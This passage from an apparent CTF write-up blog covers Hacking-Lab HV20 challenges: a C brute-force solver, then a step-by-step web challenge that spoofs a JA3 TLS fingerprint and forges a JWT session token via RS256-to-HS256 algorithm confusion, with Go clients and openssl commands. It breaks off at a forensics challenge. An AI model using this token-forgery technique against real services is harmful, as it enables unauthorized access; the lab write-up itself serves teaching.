T\n  T[0][0] = B[8][0]; T[0][1] = B2T(B[8][1]);\n  T[3][0] = B[5][0]; T[3][1] = B2T(B[5][1]);\n  T[6][0] = B[2][0]; T[6][1] = B2T(B[2][1]);\n  \/\/ D -&gt; B\n  B[8][0] = D[0][0]; B[8][1] = D2B(D[0][1]);\n  B[5][0] = D[3][0]; B[5][1] = D2B(D[3][1]);\n  B[2][0] = D[6][0]; B[2][1] = D2B(D[6][1]);\n  \/\/ F -&gt; D\n  D[0][0] = F[0][0]; D[0][1] = F2D(F[0][1]);\n  D[3][0] = F[3][0]; D[3][1] = F2D(F[3][1]);\n  D[6][0] = F[6][0]; D[6][1] = F2D(F[6][1]);\n  \/\/ T -&gt; F\n  F[0][0] = T_0[0]; F[0][1] = T2F(T_0[1]);\n  F[3][0] = T_3[0]; F[3][1] = T2F(T_3[1]);\n  F[6][0] = T_6[0]; F[6][1] = T2F(T_6[1]);\n}\n\nvoid do_L2() {\n  do_L();\n  do_L();\n}\n\n\/\/ left backward\nvoid do_Li() {\n  rot_left(4);\n  char T_0[2] = {T[0][0], T[0][1]};\n  char T_3[2] = {T[3][0], T[3][1]};\n  char T_6[2] = {T[6][0], T[6][1]};\n  \/\/ F -&gt; T\n  T[0][0] = F[0][0]; T[0][1] = F2T(F[0][1]);\n  T[3][0] = F[3][0]; T[3][1] = F2T(F[3][1]);\n  T[6][0] = F[6][0]; T[6][1] = F2T(F[6][1]);\n  \/\/ D -&gt; F\n  F[0][0] = D[0][0]; F[0][1] = D2F(D[0][1]);\n  F[3][0] = D[3][0]; F[3][1] = D2F(D[3][1]);\n  F[6][0] = D[6][0]; F[6][1] = D2F(D[6][1]);\n  \/\/ B -&gt; D\n  D[0][0] = B[8][0]; D[0][1] = B2D(B[8][1]);\n  D[3][0] = B[5][0]; D[3][1] = B2D(B[5][1]);\n  D[6][0] = B[2][0]; D[6][1] = B2D(B[2][1]);\n  \/\/ T -&gt; B\n  B[8][0] = T_0[0]; B[8][1] = T2B(T_0[1]);\n  B[5][0] = T_3[0]; B[5][1] = T2B(T_3[1]);\n  B[2][0] = T_6[0]; B[2][1] = T2B(T_6[1]);\n}\n\n\/\/ right forward\nvoid do_R() {\n  rot_left(5);\n  char T_2[2] = {T[2][0], T[2][1]};\n  char T_5[2] = {T[5][0], T[5][1]};\n  char T_8[2] = {T[8][0], T[8][1]};\n  \/\/ B -&gt; T\n  T[2][0] = B[6][0]; T[2][1] = B2T(B[6][1]);\n  T[5][0] = B[3][0]; T[5][1] = B2T(B[3][1]);\n  T[8][0] = B[0][0]; T[8][1] = B2T(B[0][1]);\n  \/\/ D -&gt; B\n  B[6][0] = D[2][0]; B[6][1] = D2B(D[2][1]);\n  B[3][0] = D[5][0]; B[3][1] = D2B(D[5][1]);\n  B[0][0] = D[8][0]; B[0][1] = D2B(D[8][1]);\n  \/\/ F -&gt; D\n  D[2][0] = F[2][0]; D[2][1] = F2D(F[2][1]);\n  D[5][0] = F[5][0]; D[5][1] = F2D(F[5][1]);\n  D[8][0] = F[8][0]; D[8][1] = F2D(F[8][1]);\n  \/\/ T -&gt; F\n  F[2][0] = T_2[0]; F[2][1] = T2F(T_2[1]);\n  F[5][0] = T_5[0]; F[5][1] = T2F(T_5[1]);\n  F[8][0] = T_8[0]; F[8][1] = T2F(T_8[1]);\n}\n\nvoid do_R2() {\n  do_R();\n  do_R();\n}\n\n\/\/ right backward\nvoid do_Ri() {\n  rot_right(5);\n  char T_2[2] = {T[2][0], T[2][1]};\n  char T_5[2] = {T[5][0], T[5][1]};\n  char T_8[2] = {T[8][0], T[8][1]};\n  \/\/ F -&gt; T\n  T[2][0] = F[2][0]; T[2][1] = F2T(F[2][1]);\n  T[5][0] = F[5][0]; T[5][1] = F2T(F[5][1]);\n  T[8][0] = F[8][0]; T[8][1] = F2T(F[8][1]);\n  \/\/ D -&gt; F\n  F[2][0] = D[2][0]; F[2][1] = D2F(D[2][1]);\n  F[5][0] = D[5][0]; F[5][1] = D2F(D[5][1]);\n  F[8][0] = D[8][0]; F[8][1] = D2F(D[8][1]);\n  \/\/ B -&gt; D\n  D[2][0] = B[6][0]; D[2][1] = B2D(B[6][1]);\n  D[5][0] = B[3][0]; D[5][1] = B2D(B[3][1]);\n  D[8][0] = B[0][0]; D[8][1] = B2D(B[0][1]);\n  \/\/ T -&gt; B\n  B[6][0] = T_2[0]; B[6][1] = T2B(T_2[1]);\n  B[3][0] = T_5[0]; B[3][1] = T2B(T_5[1]);\n  B[0][0] = T_8[0]; B[0][1] = T2B(T_8[1]);\n}\n\n\/\/ top clockwise\nvoid do_T() {\n  rot_right(0);\n  char F_0[2] = {F[0][0], F[0][1]};\n  char F_1[2] = {F[1][0], F[1][1]};\n  char F_2[2] = {F[2][0], F[2][1]};\n  \/\/ R -&gt; F\n  F[0][0] = R[0][0]; F[0][1] = R2F(R[0][1]);\n  F[1][0] = R[1][0]; F[1][1] = R2F(R[1][1]);\n  F[2][0] = R[2][0]; F[2][1] = R2F(R[2][1]);\n  \/\/ B -&gt; R\n  R[0][0] = B[0][0]; R[0][1] = B2R(B[0][1]);\n  R[1][0] = B[1][0]; R[1][1] = B2R(B[1][1]);\n  R[2][0] = B[2][0]; R[2][1] = B2R(B[2][1]);\n  \/\/ L -&gt; B\n  B[0][0] = L[0][0]; B[0][1] = L2B(L[0][1]);\n  B[1][0] = L[1][0]; B[1][1] = L2B(L[1][1]);\n  B[2][0] = L[2][0]; B[2][1] = L2B(L[2][1]);\n  \/\/ F -&gt; L\n  L[0][0] = F_0[0]; L[0][1] = F2L(F_0[1]);\n  L[1][0] = F_1[0]; L[1][1] = F2L(F_1[1]);\n  L[2][0] = F_2[0]; L[2][1] = F2L(F_2[1]);\n}\n\nvoid do_T2() {\n  do_T();\n  do_T();\n}\n\n\/\/ top counter-clockwise\nvoid do_Ti() {\n  rot_left(0);\n  char F_0[2] = {F[0][0], F[0][1]};\n  char F_1[2] = {F[1][0], F[1][1]};\n  char F_2[2] = {F[2][0], F[2][1]};\n  \/\/ L -&gt; F\n  F[0][0] = L[0][0]; F[0][1] = L2F(L[0][1]);\n  F[1][0] = L[1][0]; F[1][1] = L2F(L[1][1]);\n  F[2][0] = L[2][0]; F[2][1] = L2F(L[2][1]);\n  \/\/ B -&gt; L\n  L[0][0] = B[0][0]; L[0][1] = B2L(B[0][1]);\n  L[1][0] = B[1][0]; L[1][1] = B2L(B[1][1]);\n  L[2][0] = B[2][0]; L[2][1] = B2L(B[2][1]);\n  \/\/ R -&gt; B\n  B[0][0] = R[0][0]; B[0][1] = R2B(R[0][1]);\n  B[1][0] = R[1][0]; B[1][1] = R2B(R[1][1]);\n  B[2][0] = R[2][0]; B[2][1] = R2B(R[2][1]);\n  \/\/ F -&gt; R\n  R[0][0] = F_0[0]; R[0][1] = F2R(F_0[1]);\n  R[1][0] = F_1[0]; R[1][1] = F2R(F_1[1]);\n  R[2][0] = F_2[0]; R[2][1] = F2R(F_2[1]);\n}\n\n\/\/ down clockwise\nvoid do_D() {\n  rot_left(2);\n  char F_6[2] = {F[6][0], F[6][1]};\n  char F_7[2] = {F[7][0], F[7][1]};\n  char F_8[2] = {F[8][0], F[8][1]};\n  \/\/ R -&gt; F\n  F[6][0] = R[6][0]; F[6][1] = R2F(R[6][1]);\n  F[7][0] = R[7][0]; F[7][1] = R2F(R[7][1]);\n  F[8][0] = R[8][0]; F[8][1] = R2F(R[8][1]);\n  \/\/ B -&gt; R\n  R[6][0] = B[6][0]; R[6][1] = B2R(B[6][1]);\n  R[7][0] = B[7][0]; R[7][1] = B2R(B[7][1]);\n  R[8][0] = B[8][0]; R[8][1] = B2R(B[8][1]);\n  \/\/ L -&gt; B\n  B[6][0] = L[6][0]; B[6][1] = L2B(L[6][1]);\n  B[7][0] = L[7][0]; B[7][1] = L2B(L[7][1]);\n  B[8][0] = L[8][0]; B[8][1] = L2B(L[8][1]);\n  \/\/ F -&gt; L\n  L[6][0] = F_6[0]; L[6][1] = F2L(F_6[1]);\n  L[7][0] = F_7[0]; L[7][1] = F2L(F_7[1]);\n  L[8][0] = F_8[0]; L[8][1] = F2L(F_8[1]);\n}\n\nvoid do_D2() {\n  do_D();\n  do_D();\n}\n\n\n\/\/ down counter-clockwise\nvoid do_Di() {\n  rot_right(2);\n  char F_6[2] = {F[6][0], F[6][1]};\n  char F_7[2] = {F[7][0], F[7][1]};\n  char F_8[2] = {F[8][0], F[8][1]};\n  \/\/ L -&gt; F\n  F[6][0] = L[6][0]; F[6][1] = L2F(L[6][1]);\n  F[7][0] = L[7][0]; F[7][1] = L2F(L[7][1]);\n  F[8][0] = L[8][0]; F[8][1] = L2F(L[8][1]);\n  \/\/ B -&gt; L\n  L[6][0] = B[6][0]; L[6][1] = B2L(B[6][1]);\n  L[7][0] = B[7][0]; L[7][1] = B2L(B[7][1]);\n  L[8][0] = B[8][0]; L[8][1] = B2L(B[8][1]);\n  \/\/ R -&gt; B\n  B[6][0] = R[6][0]; B[6][1] = R2B(R[6][1]);\n  B[7][0] = R[7][0]; B[7][1] = R2B(R[7][1]);\n  B[8][0] = R[8][0]; B[8][1] = R2B(R[8][1]);\n  \/\/ F -&gt; R\n  R[6][0] = F_6[0]; R[6][1] = F2R(F_6[1]);\n  R[7][0] = F_7[0]; R[7][1] = F2R(F_7[1]);\n  R[8][0] = F_8[0]; R[8][1] = F2R(F_8[1]);\n}\n\nchar check() {\n  char dq0,dq1,dq2,dq3,dq4,dq5;\n  dq0 = d(T[0]);\n  dq1 = d(F[0]);\n  dq2 = d(D[0]);\n  dq3 = d(B[0]);\n  dq4 = d(L[0]);\n  dq5 = d(R[0]);\n  for (int i = 1; i &lt; 9; i++) {\n    if (d(T[i]) != dq0) return 0; \n    if (d(F[i]) != dq1) return 0; \n    if (d(D[i]) != dq2) return 0; \n    if (d(B[i]) != dq3) return 0; \n    if (d(L[i]) != dq4) return 0; \n    if (d(R[i]) != dq5) return 0; \n  }\n  return 1;\n}\n\nvoid (*fcns[])() = {do_F,do_F2,do_Fi,do_B,do_B2,do_Bi,do_L,do_L2,do_Li,do_R,do_R2,do_Ri,do_T,do_T2,do_Ti,do_D,do_D2,do_Di};\n\nint main() {\n  for (int i = 0; i &lt; 18; i++) {\n   for (int j = 0; j &lt; 18; j++) {\n    for (int k = 0; k &lt; 18; k++) {\n     for (int l = 0; l &lt; 18; l++) {\n      for (int m = 0; m &lt; 18; m++) {\n        reset_q();\n        fcns[i]();\n        fcns[j]();\n        fcns[k]();\n        fcns[l]();\n        fcns[m]();\n        if (check()) read_blocks();\n      }\n     }\n    }\n   }\n  }\n  return 0;\n}\n<\/code>\n\n\n<p>Compiling and running the program yields the flag in an acceptable amount of time (though this is far from being good):<\/p>\n\n<code>kali@kali:~\/hv20\/16$ gcc craxx0r.c -o craxx0r\nkali@kali:~\/hv20\/16$ time .\/craxx0r \nHV20{no_sle3p_since_4wks_lead5_to_@_hi6hscore_a7_last}\n\nreal   0m0.729s\nuser   0m0.714s\nsys    0m0.001s\n<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{no_sle3p_since_4wks_lead5_to_@_hi6hscore_a7_last}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"17\">HV20.17 Santa's Gift Factory Control<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/17.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"hard\">Hard<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_web.png\" width=\"20px\"\/> Web Security<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_crypto.png\" width=\"20px\"\/> Crypto<\/td><\/tr>\n<tr><td>Author:<\/td><td>fix86<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nSanta has a customized remote control panel for his gift factory at the north pole. Only clients with the following fingerprint seem to be able to connect:\n\n<span class=\"hl\">771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0<\/span>\n\n\n<b>Mission<\/b>\n\nConnect to Santa's super-secret control panel and circumvent its access controls.\n\n<span class=\"fake_link\">Santa's Control Panel<\/span>\n\n\n<b>Hints<\/b>\n\nThe remote control panel does client fingerprinting\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>When visting the provided link to <span class=\"hl\">Santa's Control Panel<\/span> we get a <span class=\"hl\">403 Forbidden<\/span> response:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv17_01.png\" width=\"600px\"\/><\/p>\n\n<p>After some gooling we can find out that the fingerprint provided in the challenge is a <a href=\"https:\/\/ja3er.com\/\" rel=\"noopener noreferrer\" target=\"_blank\">JA3 SSL fingerprint<\/a>.<\/p>\n\n<p>Also there is an <a href=\"https:\/\/medium.com\/cu-cyber\/impersonating-ja3-fingerprints-b9f555880e42\" rel=\"noopener noreferrer\" target=\"_blank\">article<\/a> from <span class=\"hl\">CUCyber<\/span>, which describes how to impersonate a JA3 fingerprint. The article is accompanied by a <a href=\"https:\/\/github.com\/cucyber\/JA3Transport\" rel=\"noopener noreferrer\" target=\"_blank\">Go implementation<\/a>.<\/p>\n\n<p>At first we download the package:<\/p>\n\n<code>kali@kali:~\/hv20\/17\/client$ go get github.com\/CUCyber\/ja3transport<\/code>\n\n<p>Using the provided example from the article, we can use the package in order to set our own JA3 fingerprint (taken from the challenge description):<\/p>\n\n<code>kali@kali:~\/hv20\/17\/client$ cat client.go \npackage main\n\nimport (\"github.com\/CUCyber\/ja3transport\"\n        \"net\/http\"\n        \"fmt\"\n        \"io\/ioutil\"\n)\n\nfunc main() {\n  tr, _ := ja3transport.NewTransport(\"771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0\")\n  client := &http.Client{Transport: tr}\n  resp, _ := client.Get(\"https:\/\/876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land\/\")\n  defer resp.Body.Close()\n  body, _ := ioutil.ReadAll(resp.Body)\n  fmt.Println(resp.Header)\n  fmt.Println(string(body))\n}\n<\/code>\n\n<p>Now we actually get a response:<\/p>\n\n<code>kali@kali:~\/hv20\/17\/client$ go run client.go\nmap[Connection:[keep-alive] Content-Length:[1103] Content-Type: Date:[Thu, 17 Dec 2020 08:55:10 GMT] Server:[nginx\/1.19.6]]\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n    &lt;head&gt;\n        &lt;meta charset=\"utf-8\"&gt;\n        &lt;title&gt;Santa's Control Panel&lt;\/title&gt;\n        &lt;meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"&gt;\n        &lt;link href=\"static\/bootstrap\/bootstrap.min.css\" rel=\"stylesheet\" media=\"screen\"&gt;\n        &lt;link href=\"static\/fontawesome\/css\/all.min.css\" rel=\"stylesheet\" media=\"screen\"&gt;\n        &lt;link href=\"static\/style.css\" rel=\"stylesheet\" media=\"screen\"&gt;\n    &lt;\/head&gt;\n    &lt;body&gt;\n        &lt;div class=\"login\"&gt;\n            &lt;h1&gt;Login&lt;\/h1&gt;\n            &lt;form action=\"\/login\" method=\"post\"&gt;\n                &lt;label for=\"username\"&gt;\n                    &lt;i class=\"fas fa-user\"&gt;&lt;\/i&gt;\n                &lt;\/label&gt;\n                &lt;input type=\"text\" name=\"username\" placeholder=\"Username\" id=\"username\"&gt;\n                &lt;label for=\"password\"&gt;\n                    &lt;i class=\"fas fa-lock\"&gt;&lt;\/i&gt;\n                &lt;\/label&gt;\n                &lt;input type=\"password\" name=\"password\" placeholder=\"Password\" id=\"password\"&gt;\n                \n                &lt;input type=\"submit\" value=\"Login\"&gt;\n            &lt;\/form&gt;\n        &lt;\/div&gt;\n        \n    &lt;\/body&gt;\n&lt;\/html&gt;\n<\/code>\n\n<p>The response contains a login field with the POST parameters <span class=\"hl\">username<\/span> and <span class=\"hl\">password<\/span>. So let's craft a POST request and try to log in:<\/p>\n\n<code>kali@kali:~\/hv20\/17\/client$ cat client_post.go \npackage main\n\nimport (\"github.com\/CUCyber\/ja3transport\"\n        \"net\/http\"\n        \"net\/url\"\n        \"strings\"\n        \"strconv\"\n        \"fmt\"\n        \"io\/ioutil\"\n)\n\nfunc main() {\n  tr, _ := ja3transport.NewTransport(\"771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0\")\n  client := &http.Client{Transport: tr}\n\n  data := url.Values{\"username\":{\"santa\"},\"password\":{\"test\"}}\n  req, _ := http.NewRequest(\"POST\", \"https:\/\/876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land\/login\", strings.NewReader(data.Encode()))\n  req.Header.Add(\"Content-Type\", \"application\/x-www-form-urlencoded\")\n  req.Header.Add(\"Content-Length\", strconv.Itoa(len(data.Encode())))\n  resp, _ := client.Do(req)\n  defer resp.Body.Close()\n  body, _ := ioutil.ReadAll(resp.Body)\n  fmt.Println(resp.Header)\n  fmt.Println(string(body))\n}\n<\/code>\n\n<p>Issuing the request results in the response <span class=\"hl\">Invalid credentials.<\/span>:<\/p>\n\n<code>\nkali@kali:~\/hv20\/17\/client$ go run client_post.go \nmap[Connection:[keep-alive] Content-Length:[1184] Content-Type: Date:[Thu, 17 Dec 2020 09:02:35 GMT] Server:[nginx\/1.19.6]]\n...\n                &lt;input type=\"password\" name=\"password\" placeholder=\"Password\" id=\"password\"&gt;\n                \n                    &lt;div class=\"msg\"&gt;Invalid credentials.&lt;\/div&gt;\n                \n                &lt;input type=\"submit\" value=\"Login\"&gt;\n\n...\n<\/code>\n\n<p>Though when we change the username to <span class=\"hl\">admin<\/span> ...<\/p>\n\n<code>...\n  data := url.Values{\"username\":{\"admin\"},\"password\":{\"test\"}}\n...<\/code>\n\n<p>... we get a differente response:<\/p>\n\n<code>kali@kali:~\/hv20\/17\/client$ go run client_post.go \nmap[Connection:[keep-alive] Content-Length:[1275] Content-Type: Date:[Thu, 17 Dec 2020 09:04:09 GMT] Server:[nginx\/1.19.6] Set-Cookie:[session=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJleHAiOjE2MDgxOTk0NDksImlhdCI6MTYwODE5NTg0OSwic3ViIjoibm9uZSJ9.g-_nNE_WkcrS_IDdKRXZTlECQvTPVtc2-za2459Z3LqmAf0IwgwcbqUQS3npdMnmsxKqQRCU7J-atMWVlkjxI_RulE4ZxZHi4EurrbBPI2f-SRbouKX0xpTeAL76hflHWLPdxI0foTg1YGl6i7riyyufhog98Pt8KXMnWcFrbrQ0cWTnythuCZMz9Z5ppNpx-FLC7WltOwlNSS4orOtmcF6i4VvYke8anhAa6h43MxqpvPAgsWQYR5i6jPe5ctkVQ1HLI7W7HU4PqeygJF1QYl2A8GyiFBhSwbp596EdaybvkgWNlO0jKIil0_DHdPadjQRKCL8gO17rMCvLr26uDA; Path=\/]]\n&lt;!DOCTYPE html&gt;\n...\n                &lt;input type=\"password\" name=\"password\" placeholder=\"Password\" id=\"password\"&gt;\n                \n                    &lt;div class=\"msg\"&gt;Invalid credentials.&lt;\/div&gt;\n                \n                &lt;input type=\"submit\" value=\"Login\"&gt;\n            &lt;\/form&gt;\n        &lt;\/div&gt;\n        \n            &lt;!--DevNotice: User santa seems broken. Temporarily use santa1337.--&gt;\n        \n    &lt;\/body&gt;\n&lt;\/html&gt;<\/code>\n\n<p>The response contains a cookie called <span class=\"hl\">session<\/span> as well as a hint, that we should use the username <span class=\"hl\">santa1337<\/span>.<\/p>\n\n<p>The cookie seems to be a <span class=\"hl\">JSON Web Token (JWT)<\/span> and we can use <a href=\"https:\/\/jwt.io\/\" rel=\"noopener noreferrer\" target=\"_blank\">jwt.io<\/a> to decode it:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv17_02.png\" width=\"800px\"\/><\/p>\n\n<p>The algorithm used here is <span class=\"hl\">RSA256<\/span>, which uses the private key in order to sign the token and the public key in order to verify the signature. Within the <span class=\"hl\">kid<\/span> value we can see, which public key is used: <span class=\"hl\">\/keys\/1d21a9f945<\/span>. Let's get this key:<\/p>\n\n<code>...\n  resp, _ := client.Get(\"https:\/\/876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land\/keys\/1d21a9f945\")\n...<\/code>\n\n<p><\/p>\n\n<code>kali@kali:~\/hv20\/17\/client$ go run client.go \nmap[Connection:[keep-alive] Content-Length:[451] Content-Type: Date:[Thu, 17 Dec 2020 09:12:26 GMT] Server:[nginx\/1.19.6]]\n-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0KDtdDsZ\/wpGXWRnP6DY\nRi7OxTWiwPVg8eTsVcmbzAkk2r4itb3NqRw9xpJeUHorgfw1f9GkuAFg\/squMrXb\nSYM0Vcxqmtsq379xCw6s0pxIafPR7TEAVRh5Mxrudl2lwiO4vJPs+2tmcgui\/bFn\nwC+qByZtIlsP+rlT\/MF2wLaWe\/LNAWtOXdFVDOzUy6ylLZeL6fRtt9SiuUOQkkC3\nUS8TmvVQYcCcwvu4GBJeGdlKrbIuXIohl7hP5i9\/KZ3kIvzByp\/Xk5iq+tH95\/9u\nX\/9FHKUSrcRE4NYVRhkqHPpn\/EbqXHMX0BM0QoGETORlpZIo\/lAOQ7\/ezOd9z1fw\nzwIDAQAB\n-----END PUBLIC KEY-----\n<\/code>\n\n<p>In order to modify the contents of the JWT, we need to sign it. Though we don't have the private key required for this. Nevertheless we can change the algorithm to <span class=\"hl\">HS256<\/span>, which will use the <u>public key<\/u> in order to sign the token. The attack is e.g. described <a href=\"https:\/\/www.nccgroup.com\/uk\/about-us\/newsroom-and-events\/blogs\/2019\/january\/jwt-attack-walk-through\/\" rel=\"noopener noreferrer\" target=\"_blank\">here<\/a>.<\/p>\n\n<p>We start by modifying the token. In this case we set the algorithm to <span class=\"hl\">HS256<\/span> and set the payload value <span class=\"hl\">sub<\/span> to <span class=\"hl\">santa1337<\/span>:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv17_03.png\" width=\"800px\"\/><\/p>\n\n<p>Now we copy the token omitting the signature (third part):<\/p>\n\n<code>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJleHAiOjE2MDgxOTk0NDksImlhdCI6MTYwODE5NTg0OSwic3ViIjoic2FudGExMzM3In0<\/code>\n\n<p>In order to sign this token we follow the steps described in the article above.<\/p>\n\n<p>At first we hex encode the public key downloaded from the server:<\/p>\n\n<code>kali@kali:~\/hv20\/17$ cat pub_key \n-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0KDtdDsZ\/wpGXWRnP6DY\nRi7OxTWiwPVg8eTsVcmbzAkk2r4itb3NqRw9xpJeUHorgfw1f9GkuAFg\/squMrXb\n...<\/code>\n\n<p><\/p>\n\n<code>kali@kali:~\/hv20\/17$ cat pub_key|xxd -p|tr -d '\\n'\n2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b7...<\/code>\n\n<p>Now we can use <span class=\"hl\">openssl<\/span> and <span class=\"hl\">python<\/span> in order to create the <span class=\"hl\">SHA256 HMAC<\/span> and <span class=\"hl\">base64<\/span> encode the token:<\/p>\n\n<code>kali@kali:~\/hv20\/17$ python -c \"exec(\\\"import base64, binascii\\nprint base64.urlsafe_b64encode(binascii.a2b_hex('\"$(echo -n \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJleHAiOjE2MDgxOTk0NDksImlhdCI6MTYwODE5NTg0OSwic3ViIjoic2FudGExMzM3In0\" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c...|cut -d ' ' -f2)\"')).replace('=','')\\\")\"\ngFoNQ9Is8j6g-_4w8CnHMoXyPyM9VHApk132vmJC5bM\n<\/code>\n\n<p>The result is the signature of our crafted token, which is supposed to be appended to it (separated by a dot).<\/p>\n\n<p>At last we insert the signed token as the <span class=\"hl\">session<\/span> cookie to a request to the root page:<\/p>\n\n<code>kali@kali:~\/hv20\/17\/client$ cat client_cookie.go \npackage main\n\nimport (\"github.com\/CUCyber\/ja3transport\"\n        \"net\/http\"\n        \"fmt\"\n        \"io\/ioutil\"\n)\n\nfunc main() {\n  tr, _ := ja3transport.NewTransport(\"771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0\")\n  client := &http.Client{Transport: tr}\n\n  req, _ := http.NewRequest(\"GET\", \"https:\/\/876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land\/\", nil)\n  session := \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJleHAiOjE2MDgxOTk0NDksImlhdCI6MTYwODE5NTg0OSwic3ViIjoic2FudGExMzM3In0.gFoNQ9Is8j6g-_4w8CnHMoXyPyM9VHApk132vmJC5bM\"\n  req.Header.Add(\"Cookie\", \"session=\"+session)\n  resp, _ := client.Do(req)\n  defer resp.Body.Close()\n  body, _ := ioutil.ReadAll(resp.Body)\n  fmt.Println(resp.Header)\n  fmt.Println(string(body))\n}<\/code>\n\n<p>Issuing the request yields access to <span class=\"hl\">Santa's Control Panel<\/span>, which contains the flag:<\/p>\n\n<code>kali@kali:~\/hv20\/17\/client$ go run client_cookie.go \nmap[Connection:[keep-alive] Content-Length:[6515] Content-Type: Date:[Thu, 17 Dec 2020 09:29:21 GMT] Server:[nginx\/1.19.6]]\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n    &lt;head&gt;\n        &lt;meta charset=\"utf-8\"&gt;\n        &lt;title&gt;Santa's Control Panel&lt;\/title&gt;\n        &lt;meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"&gt;\n        &lt;link href=\"static\/bootstrap\/bootstrap.min.css\" rel=\"stylesheet\" media=\"screen\"&gt;\n        &lt;link href=\"static\/fontawesome\/css\/all.min.css\" rel=\"stylesheet\" media=\"screen\"&gt;\n        &lt;link href=\"static\/style.css\" rel=\"stylesheet\" media=\"screen\"&gt;\n    &lt;\/head&gt;\n    &lt;!--Congratulations, here's your flag: HV20{ja3_h45h_1mp3r50n4710n_15_fun}--&gt;\n    &lt;body class=\"loggedin\"&gt;\n        &lt;nav class=\"navtop\"&gt;\n            &lt;div&gt;\n                &lt;h1&gt;Gift Factory Control&lt;\/h1&gt;\n                &lt;a href=\"\/\"&gt;&lt;i class=\"fas fa-home\"&gt;&lt;\/i&gt;Home&lt;\/a&gt;\n                &lt;a href=\"\/logout\"&gt;&lt;i class=\"fas fa-sign-out-alt\"&gt;&lt;\/i&gt;Logout&lt;\/a&gt;\n            &lt;\/div&gt;\n        &lt;\/nav&gt;\n        &lt;div class=\"content\"&gt;\n            &lt;h2&gt;Welcome to the Gift Factory at the North Pole!&lt;\/h2&gt;\n            &lt;p&gt;The control panel enables Santa to instruct his elves in the gift factory from remote.&lt;\/p&gt;\n...\n<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{ja3_h45h_1mp3r50n4710n_15_fun}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"18\">HV20.18 Santa's lost home<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/18.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"hard\">Hard<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_linux.png\" width=\"20px\"\/> Linux<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_forensic.png\" width=\"20px\"\/> Forensic<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_crypto.png\" width=\"20px\"\/> Crypto<\/td><\/tr>\n<tr><td>Author:<\/td><td><a href=\"https:\/\/twitter.com\/___darkstar__\" rel=\"noopener noreferrer\" target=\"_blank\">darkstar<\/a><\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nSanta has forgotten his password and can no longer access his data. While trying to read the hard disk from another computer he also destroyed an important file. To avoid further damage he made a backup of his home partition. Can you help him recover the data.\n\nWhen asked he said the only thing he remembers is that he used his name in the password... I thought this was something only a <i>real human<\/i> would do...\n\n<span class=\"fake_link\">Backup<\/span>\n\n\n<b>Hints<\/b>\n\nIt's not rock-science, it's station-science!\nUse default options\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The provided backup file is a linux image:<\/p>\n\n<code>kali@kali:~\/hv20\/18$ bunzip2 9154cb91-e72e-498f-95de-ac8335f71584.img.bz2 \nkali@kali:~\/hv20\/18$ file 9154cb91-e72e-498f-95de-ac8335f71584.img \n9154cb91-e72e-498f-95de-ac8335f71584.img: Linux rev 1.0 ext2 filesystem data, 